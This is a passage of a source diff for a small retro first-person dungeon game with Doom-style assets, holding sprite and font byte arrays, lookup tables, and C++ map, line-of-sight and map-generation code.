0xa0,0xf0,0x50,0xf0,0xa0,0xe0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x1,0x0,0x3,0x0,0x3,0x2,0x3,0x1,0x1,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x80,0x80,0x80,0x80,0x80,0x40,0xc0,
0x80,0xc0,0x40,0xc0,0xa0,0xe0,0x50,0xf8,0xaa,0xfe,0x55,0xff,0xaa,0xff,0x55,0xff,0xaa,0xff,0x55,0xff,0xaa,0xff,0x55,0xff,
0xaa,0xff,0x55,0xff,0xaa,0xfe,0x50,0xf8,0xa0,0xe0,0x40,0xc0,0x80,0x80,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,
0xa8,0xf8,0x54,0xfe,0xaa,0xfe,0x55,0xff,0xff,0xff,0xfd,0xff,0xff,0xff,0x1d,0xff,0x8a,0xff,0x55,0xff,0xaa,0xff,0xd5,0xff,
0x88,0xff,0x88,0xff,0x88,0xff,0x80,0xff,0x80,0xff,0x80,0xff,0x80,0xff,0x0,0xff,0x80,0xff,0x80,0xff,0x80,0xff,0x80,0xff,
0x88,0xff,0x88,0xff,0x88,0xff,0xd5,0xff,0xaa,0xff,0x51,0xff,0x82,0xff,0x14,0xfe,0xa8,0xf8,0x0,0x80,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x28,0x38,0x15,0x3f,0x2a,0x3f,0x1d,0x3f,
0x2a,0x3f,0x17,0x3f,0xb,0x3f,0x1,0x3f,0x8,0x3f,0x5,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x1,0x3f,0x1,0x3f,
0x3,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x3,0x3f,0x1,0x3f,
0x1,0x3f,0x1,0x3f,0x1,0x3f,0x1,0x3f,0x0,0x3f,0x5,0x3f,0x0,0x3f,0x5,0x3f,0xa,0x3f,0x14,0x3e,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0
};
extern const uint8_t titleBitmapData[] PROGMEM =
{
0x80,0x40,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xf,0xf,0xf,0xf,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,
0x0,0x0,0x0,0x0,0xf,0xf,0xf,0xf,0xff,0xff,0xff,0xff,0xf,0xf,0xf,0xf,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,
0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0x0,0x0,0x0,0x0,0xf,0xf,0xf,0xf,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0xf,0xf,0xf,0xf,0xff,0xff,0xff,0xff,0xf,0xf,0xf,0xf,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xf0,0xf0,0xf0,0xf0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xaf,0x5f,0xaf,0x5f,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,
0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,
0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xaa,0x55,0xaa,0x55,
0xaa,0x55,0xaa,0x55,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xfa,0xf5,0xfa,0xf5,0xaa,0x55,0xaa,0x55,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,
0xaa,0x55,0xaa,0x55,0xfa,0xf5,0xfa,0xf5,0xff,0xff,0xff,0xff,0xfa,0xf5,0xfa,0xf5,0xaa,0x55,0xaa,0x55,0xaf,0x5f,0xaf,0x5f,
0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaa,0x55,0xaa,0x55,0xfa,0xf5,0xfa,0xf5,0xff,0xff,0xff,0xff,0xaa,0x55,0xaa,0x55,
0xaa,0x55,0xaa,0x55,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
};
extern const uint8_t heartSpriteData[] PROGMEM =
{
0x1c,0x14,0x77,0x41,0x77,0x14,0x1c,0x0
};
extern const uint8_t manaSpriteData[] PROGMEM =
{
0x7e,0x7f,0x7e,0x0,0x7f,0x7e,0x7e,0x0
};
@@ -0,0 +1,24 @@
// Engine assets kept from FlipperCatacombs (non-Doom): gates, wall texture, font
// Generated from Images/entrance.png
constexpr uint8_t entranceSpriteData_numFrames = 1;
extern const uint16_t entranceSpriteData[] PROGMEM =
{
0x4,0x0,0xe,0x0,0xe,0x0,0x1f,0x0,0x3ff,0x3fc,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x3ff,0x3fc,0x1f,0x0,0xe,0x0,0xe,0x0,0x4,0x0
};
// Generated from Images/exit.png
constexpr uint8_t exitSpriteData_numFrames = 1;
extern const uint16_t exitSpriteData[] PROGMEM =
{
0x2000,0x0,0x7000,0x0,0x7000,0x0,0xf800,0x0,0xffc0,0x3fc0,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xffc0,0x3fc0,0xf800,0x0,0x7000,0x0,0x7000,0x0,0x2000,0x0
};
// Generated from Images/textures.png
constexpr uint8_t wallTextureData_numTextures = 1;
extern const uint16_t wallTextureData[] PROGMEM =
{
0xf3cf,0xf3cf,0xf3cf,0xf3c0,0xf3c0,0xf3cf,0x3cf,0x3cf,0xf3cf,0xf3cf,0xf00f,0xf00f,0xf3cf,0xf3cf,0xf3cf,0xf3cf
};
// Generated from Images/font.png
extern const uint8_t fontPageData[] PROGMEM =
{
0xff,0xff,0xff,0xff,0xff,0xd1,0xff,0xff,0xf9,0xff,0xf9,0xff,0xc1,0xeb,0xc1,0xff,0xd3,0xc1,0xe5,0xff,0xcd,0xf7,0xd9,0xff,0xcb,0xd5,0xeb,0xff,0xff,0xf9,0xff,0xff,0xff,0xe3,0xdd,0xff,0xff,0xdd,0xe3,0xff,0xeb,0xf7,0xeb,0xff,0xf7,0xe3,0xf7,0xff,0xdf,0xef,0xff,0xff,0xf7,0xf7,0xf7,0xff,0xff,0xdf,0xff,0xff,0xcf,0xf7,0xf9,0xff,0xc3,0xdd,0xe1,0xff,0xdb,0xc1,0xdf,0xff,0xcd,0xd5,0xd3,0xff,0xdd,0xd5,0xeb,0xff,0xe1,0xef,0xc7,0xff,0xd1,0xd5,0xe5,0xff,0xc3,0xd5,0xe5,0xff,0xcd,0xf5,0xf9,0xff,0xc3,0xd5,0xe1,0xff,0xd3,0xd5,0xe1,0xff,0xff,0xeb,0xff,0xff,0xdf,0xeb,0xff,0xff,0xf7,0xeb,0xdd,0xff,0xeb,0xeb,0xeb,0xff,0xdd,0xeb,0xf7,0xff,0xfd,0xd5,0xf9,0xff,0xe3,0xdd,0xd3,0xff,0xc3,0xf5,0xc1,0xff,0xc3,0xd5,0xe9,0xff,0xe3,0xdd,0xdd,0xff,0xc1,0xdd,0xe3,0xff,0xc3,0xd5,0xd5,0xff,0xc3,0xf5,0xf5,0xff,0xe3,0xdd,0xc5,0xff,0xc1,0xf7,0xc1,0xff,0xdd,0xc1,0xdd,0xff,0xef,0xdd,0xe1,0xff,0xc1,0xf7,0xc9,0xff,0xc1,0xdf,0xdf,0xff,0xc1,0xfb,0xc1,0xff,0xc1,0xfd,0xc3,0xff,0xe3,0xdd,0xe3,0xff,0xc1,0xf5,0xf3,0xff,0xe3,0xcd,0xc1,0xff,0xc3,0xf5,0xc9,0xff,0xdb,0xd5,0xed,0xff,0xfd,0xc1,0xfd,0xff,0xe1,0xdf,0xc1,0xff,0xe1,0xdf,0xe1,0xff,0xc1,0xef,0xc1,0xff,0xc9,0xf7,0xc9,0xff,0xf9,0xc7,0xf9,0xff,0xcd,0xd5,0xd9,0xff,0xff,0xc1,0xdd,0xff,0xf9,0xf7,0xcf,0xff,0xff,0xdd,0xc1,0xff,0xfb,0xfd,0xfb,0xff,0xdf,0xdf,0xdf,0xff,0xff,0xfd,0xfb,0xff,0xe7,0xdb,0xc3,0xff,0xc1,0xdb,0xe7,0xff,0xe7,0xdb,0xdb,0xff,0xe7,0xdb,0xc1,0xff,0xe7,0xcb,0xd3,0xff,0xc3,0xed,0xfb,0xff,0xb7,0xab,0xc7,0xff,0xc1,0xf7,0xcf,0xff,0xff,0xe5,0xdf,0xff,0xbf,0xcb,0xff,0xff,0xc1,0xf7,0xcb,0xff,0xff,0xe1,0xdf,0xff,0xc3,0xf7,0xc3,0xff,0xc3,0xfb,0xc7,0xff,0xe7,0xdb,0xe7,0xff,0x83,0xdb,0xe7,0xff,0xe7,0xdb,0x83,0xff,0xc3,0xf7,0xfb,0xff,0xd7,0xd3,0xeb,0xff,0xe1,0xdb,0xdf,0xff,0xe3,0xdf,0xc3,0xff,0xc3,0xdf,0xe3,0xff,0xc3,0xef,0xc3,0xff,0xcb,0xf7,0xcb,0xff,0xf3,0xaf,0xc3,0xff,0xdb,0xcb,0xd3,0xff,0xf7,0xc1,0xdd,0xff,0xff,0xc1,0xff,0xff,0xdd,0xc1,0xf7,0xff,0xfb,0xfd,0xfb,0xff,0xe3,0xed,0xe3,0xff
};
@@ -0,0 +1,48 @@
// Declarations for assets generated by tools/extract_doom_assets.py
// (converted at build time from the user's local Doom shareware WAD)
constexpr uint8_t skeletonSpriteData_numFrames = 2;
extern const uint16_t skeletonSpriteData[]; // demon
constexpr uint8_t mageSpriteData_numFrames = 2;
extern const uint16_t mageSpriteData[]; // imp
constexpr uint8_t torchSpriteData1_numFrames = 1;
extern const uint16_t torchSpriteData1[];
constexpr uint8_t torchSpriteData2_numFrames = 1;
extern const uint16_t torchSpriteData2[];
constexpr uint8_t projectileSpriteData_numFrames = 1;
extern const uint16_t projectileSpriteData[];
constexpr uint8_t enemyProjectileSpriteData_numFrames = 1;
extern const uint16_t enemyProjectileSpriteData[];
constexpr uint8_t entranceSpriteData_numFrames = 1;
extern const uint16_t entranceSpriteData[];
constexpr uint8_t exitSpriteData_numFrames = 1;
extern const uint16_t exitSpriteData[];
constexpr uint8_t urnSpriteData_numFrames = 1;
extern const uint16_t urnSpriteData[]; // barrel
constexpr uint8_t signSpriteData_numFrames = 1;
extern const uint16_t signSpriteData[]; // skull pile
constexpr uint8_t crownSpriteData_numFrames = 1;
extern const uint16_t crownSpriteData[]; // armor
constexpr uint8_t coinsSpriteData_numFrames = 1;
extern const uint16_t coinsSpriteData[]; // health bonus
constexpr uint8_t scrollSpriteData_numFrames = 1;
extern const uint16_t scrollSpriteData[]; // armor bonus
constexpr uint8_t chestSpriteData_numFrames = 1;
extern const uint16_t chestSpriteData[]; // backpack
constexpr uint8_t chestOpenSpriteData_numFrames = 1;
extern const uint16_t chestOpenSpriteData[]; // clip
constexpr uint8_t potionSpriteData_numFrames = 1;
extern const uint16_t potionSpriteData[]; // stimpack
constexpr uint8_t batSpriteData_numFrames = 2;
extern const uint16_t batSpriteData[]; // sergeant
constexpr uint8_t spiderSpriteData_numFrames = 2;
extern const uint16_t spiderSpriteData[]; // zombieman
// First-person weapon (shotgun idle / firing)
extern const uint8_t handSpriteData1[];
extern const uint8_t handSpriteData2[];
// Title screen (128x64, Platform::DrawSolidBitmap format)
extern const uint8_t titleBitmapData[];
constexpr uint8_t wallTextureData_numTextures = 1;
extern const uint16_t wallTextureData[];
extern const uint8_t fontPageData[];
extern const uint8_t heartSpriteData[];
extern const uint8_t manaSpriteData[];
@@ -0,0 +1,8 @@
const uint8_t scaleLUT[] PROGMEM = {
15,0,8,15,0,4,8,12,15,0,2,5,8,10,13,15,0,2,4,6,8,10,12,14,15,0,1,3,4,6,8,9,11,12,14,15,0,1,2,4,5,6,8,9,10,12,13,14,15,0,1,2,3,4,5,6,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,15,0,0,1,2,3,4,5,6,7,8,8,9,10,11,12,13,14,15,15,0,0,1,2,3,4,4,5,6,7,8,8,9,10,11,12,12,13,14,15,15,0,0,1,2,2,3,4,5,5,6,7,8,8,9,10,10,11,12,13,13,14,15,15,0,0,1,2,2,3,4,4,5,6,6,7,8,8,9,10,10,11,12,12,13,14,14,15,15,0,0,1,1,2,3,3,4,4,5,6,6,7,8,8,9,9,10,11,11,12,12,13,14,14,15,15,0,0,1,1,2,2,3,4,4,5,5,6,6,7,8,8,9,9,10,10,11,12,12,13,13,14,14,15,15,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,8,8,9,9,10,10,11,11,12,12,13,13,14,14,15,15,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,14,14,15,15,15
};
const int16_t sinTable[] PROGMEM = {
0,6,12,18,25,31,37,43,49,56,62,68,74,80,86,92,97,103,109,115,120,126,131,136,142,147,152,157,162,167,171,176,181,185,189,193,197,201,205,209,212,216,219,222,225,228,231,234,236,238,241,243,244,246,248,249,251,252,253,254,254,255,255,255,255,255,255,255,254,254,253,252,251,249,248,246,244,243,241,238,236,234,231,228,225,222,219,216,212,209,205,201,197,193,189,185,181,176,171,167,162,157,152,147,142,136,131,126,120,115,109,103,97,92,86,80,74,68,62,56,49,43,37,31,25,18,12,6,0,-6,-12,-18,-25,-31,-37,-43,-49,-56,-62,-68,-74,-80,-86,-92,-97,-103,-109,-115,-120,-126,-131,-136,-142,-147,-152,-157,-162,-167,-171,-176,-181,-185,-189,-193,-197,-201,-205,-209,-212,-216,-219,-222,-225,-228,-231,-234,-236,-238,-241,-243,-244,-246,-248,-249,-251,-252,-253,-254,-254,-255,-255,-255,-255,-255,-255,-255,-254,-254,-253,-252,-251,-249,-248,-246,-244,-243,-241,-238,-236,-234,-231,-228,-225,-222,-219,-216,-212,-209,-205,-201,-197,-193,-189,-185,-181,-176,-171,-167,-162,-157,-152,-147,-142,-136,-131,-126,-120,-115,-109,-103,-97,-92,-86,-80,-74,-68,-62,-56,-49,-43,-37,-31,-25,-18,-12,-6
};
@@ -0,0 +1,254 @@
#include "game/Defines.h"
#include "game/Map.h"
#include "game/Game.h"
#include "game/FixedMath.h"
#include "game/Draw.h"
#include "game/Platform.h"
#include "game/Enemy.h"
uint8_t Map::level[Map::width * Map::height / 2];
bool Map::IsBlocked(uint8_t x, uint8_t y)
{
return GetCellSafe(x, y) >= CellType::FirstCollidableCell;
}
bool Map::IsSolid(uint8_t x, uint8_t y)
{
return GetCellSafe(x, y) >= CellType::FirstSolidCell;
}
CellType Map::GetCell(uint8_t x, uint8_t y)
{
int index = y * Map::width + x;
uint8_t cellData = level[index / 2];
if(index & 1)
{
return (CellType)(cellData >> 4);
}
else
{
return (CellType)(cellData & 0xf);
}
}
CellType Map::GetCellSafe(uint8_t x, uint8_t y)
{
if(x >= Map::width || y >= Map::height)
return CellType::BrickWall;
int index = y * Map::width + x;
uint8_t cellData = level[index / 2];
if(index & 1)
{
return (CellType)(cellData >> 4);
}
else
{
return (CellType)(cellData & 0xf);
}
}
void Map::SetCell(uint8_t x, uint8_t y, CellType type)
{
if (x >= Map::width || y >= Map::height)
{
return;
}
int index = (y * Map::width + x) / 2;
uint8_t cellType = (uint8_t)type;
if(x & 1)
{
level[index] = (level[index] & 0xf) | (cellType << 4);
}
else
{
level[index] = (level[index] & 0xf0) | (cellType & 0xf);
}
}
void Map::DebugDraw()
{
for(int y = 0; y < Map::height; y++)
{
for(int x = 0; x < Map::width; x++)
{
Platform::PutPixel(x, y, GetCell(x, y) == CellType::BrickWall ? 1 : 0);
if (x == Renderer::camera.cellX && y == Renderer::camera.cellY && (Game::globalTickFrame & 8) != 0)
{
Platform::PutPixel(x, y, 1);
}
}
}
if ((Game::globalTickFrame & 2) != 0)
{
for (uint8_t n = 0; n < EnemyManager::maxEnemies; n++)
{
Enemy& enemy = EnemyManager::enemies[n];
if (enemy.IsValid())
{
Platform::PutPixel(enemy.x / CELL_SIZE, enemy.y / CELL_SIZE, 1);
}
}
}
}
bool Map::IsClearLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2)
{
int cellX1 = x1 / CELL_SIZE;
int cellX2 = x2 / CELL_SIZE;
int cellY1 = y1 / CELL_SIZE;
int cellY2 = y2 / CELL_SIZE;
int xdist = ABS(cellX2 - cellX1);
int partial, delta;
int deltafrac;
int xfrac, yfrac;
int xstep, ystep;
int32_t ltemp;
int x, y;
if (xdist > 0)
{
if (cellX2 > cellX1)
{
partial = (CELL_SIZE * (cellX1 + 1) - x1);
xstep = 1;
}
else
{
partial = (x1 - CELL_SIZE * (cellX1));
xstep = -1;
}
deltafrac = ABS(x2 - x1);
delta = y2 - y1;
ltemp = ((int32_t)delta * CELL_SIZE) / deltafrac;
if (ltemp > 0x7fffl)
ystep = 0x7fff;
else if (ltemp < -0x7fffl)
ystep = -0x7fff;
else
ystep = ltemp;
yfrac = y1 + (((int32_t)ystep*partial) / CELL_SIZE);
x = cellX1 + xstep;
cellX2 += xstep;
do
{
y = (yfrac) / CELL_SIZE;
yfrac += ystep;
if (IsSolid(x, y))
return false;
x += xstep;
//
// see if the door is open enough
//
/*value &= ~0x80;
intercept = yfrac-ystep/2;
if (intercept>doorposition[value])
return false;*/
} while (x != cellX2);
}
int ydist = ABS(cellY2 - cellY1);
if (ydist > 0)
{
if (cellY2 > cellY1)
{
partial = (CELL_SIZE * (cellY1 + 1) - y1);
ystep = 1;
}
else
{
partial = (y1 - CELL_SIZE * (cellY1));
ystep = -1;
}
deltafrac = ABS(y2 - y1);
delta = x2 - x1;
ltemp = ((int32_t)delta * CELL_SIZE)/deltafrac;
if (ltemp > 0x7fffl)
xstep = 0x7fff;
else if (ltemp < -0x7fffl)
xstep = -0x7fff;
else
xstep = ltemp;
xfrac = x1 + (((int32_t)xstep*partial) / CELL_SIZE);
y = cellY1 + ystep;
cellY2 += ystep;
do
{
x = (xfrac) / CELL_SIZE;
xfrac += xstep;
if (IsSolid(x, y))
return false;
y += ystep;
//
// see if the door is open enough
//
/*value &= ~0x80;
intercept = xfrac-xstep/2;
if (intercept>doorposition[value])
return false;*/
} while (y != cellY2);
}
return true;
}
void Map::DrawMinimap()
{
constexpr uint8_t minimapWidth = 24;
constexpr uint8_t minimapHeight = 18;
constexpr uint8_t minimapX = 0; //DISPLAY_WIDTH / 2 - minimapWidth / 2;
constexpr uint8_t minimapY = 0; //DISPLAY_HEIGHT - minimapHeight;
uint8_t playerCellX = Game::player.x / CELL_SIZE;
uint8_t playerCellY = Game::player.y / CELL_SIZE;
uint8_t startCellX = playerCellX - minimapWidth / 2;
uint8_t startCellY = playerCellY - minimapHeight / 2;
uint8_t outX = minimapX;
uint8_t cellX = startCellX;
for (uint8_t x = 0; x < minimapWidth; x++)
{
uint8_t outY = minimapY;
uint8_t cellY = startCellY;
for (uint8_t y = 0; y < minimapHeight; y++)
{
if (cellX == playerCellX && cellY == playerCellY)
{
Platform::PutPixel(outX, outY, (Game::globalTickFrame & 3) ? COLOUR_BLACK : COLOUR_WHITE);
}
else
{
Platform::PutPixel(outX, outY, cellX < width && cellY < height && IsSolid(cellX, cellY) ? COLOUR_BLACK : COLOUR_WHITE);
}
outY++;
cellY++;
}
outX++;
cellX++;
}
}
@@ -0,0 +1,60 @@
#pragma once
#include <stdint.h>
enum class CellType : uint8_t
{
Empty = 0,
// Monster types
Monster,
// Non collidable decorations
Torch,
Entrance,
Exit,
// Items
Potion,
Coins,
Crown,
Scroll,
// Collidable decorations
Urn,
Chest,
ChestOpened,
Sign,
// Solid cells
BrickWall,
FirstCollidableCell = Urn,
FirstSolidCell = BrickWall
};
class Map
{
public:
static constexpr int width = 32;
static constexpr int height = 24;
static bool IsSolid(uint8_t x, uint8_t y);
static bool IsBlocked(uint8_t x, uint8_t y);
static inline bool IsBlockedAtWorldPosition(int16_t x, int16_t y)
{
return IsBlocked((uint8_t)(x >> 8), (uint8_t)(y >> 8));
}
static CellType GetCell(uint8_t x, uint8_t y);
static CellType GetCellSafe(uint8_t x, uint8_t y);
static void SetCell(uint8_t x, uint8_t y, CellType cellType);
static void DebugDraw();
static void DrawMinimap();
static bool IsClearLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2);
private:
static uint8_t level[width * height / 2];
};
@@ -0,0 +1,610 @@
#include "game/MapGenerator.h"
#include "game/Map.h"
#include "game/FixedMath.h"
#include "game/Enemy.h"
#include "game/Game.h"
uint8_t MapGenerator::GetDistanceToCellType(uint8_t x, uint8_t y, CellType cellType)
{
uint8_t ringWidth = 3;
for (uint8_t offset = 1; offset < Map::width; offset++)
{
for (uint8_t i = 0; i < ringWidth; i++)
{
if (Map::GetCellSafe(x - offset + i, y - offset) == cellType)
{
return offset;
}
if (Map::GetCellSafe(x - offset + i, y + offset) == cellType)
{
return offset;
}
if (Map::GetCellSafe(x - offset, y - offset + i) == cellType)
{
return offset;
}
if (Map::GetCellSafe(x + offset, y - offset + i) == cellType)
{
return offset;
}
}
ringWidth += 2;
}
return 0xff;
}
uint8_t MapGenerator::CountNeighbours(uint8_t x, uint8_t y)
{
uint8_t result = 0;
if (Map::GetCellSafe(x + 1, y) == CellType::Empty)
result++;
if (Map::GetCellSafe(x, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y) == CellType::Empty)
result++;
if (Map::GetCellSafe(x, y - 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x + 1, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y - 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x + 1, y - 1) == CellType::Empty)
result++;
return result;
}
MapGenerator::NeighbourInfo MapGenerator::GetCellNeighbourInfo(uint8_t x, uint8_t y)
{
NeighbourInfo result;
result.count = 0;
result.mask = 0;
if (Map::IsSolid(x, y - 1))
{
result.hasNorth = true;
result.count++;
}
if (Map::IsSolid(x + 1, y))
{
result.hasEast = true;
result.count++;
}
if (Map::IsSolid(x, y + 1))
{
result.hasSouth = true;
result.count++;
}
if (Map::IsSolid(x - 1, y))
{
result.hasWest = true;
result.count++;
}
return result;
}
uint8_t MapGenerator::CountImmediateNeighbours(uint8_t x, uint8_t y)
{
uint8_t result = 0;
if (Map::GetCellSafe(x + 1, y) == CellType::Empty)
result++;
if (Map::GetCellSafe(x, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y) == CellType::Empty)
result++;
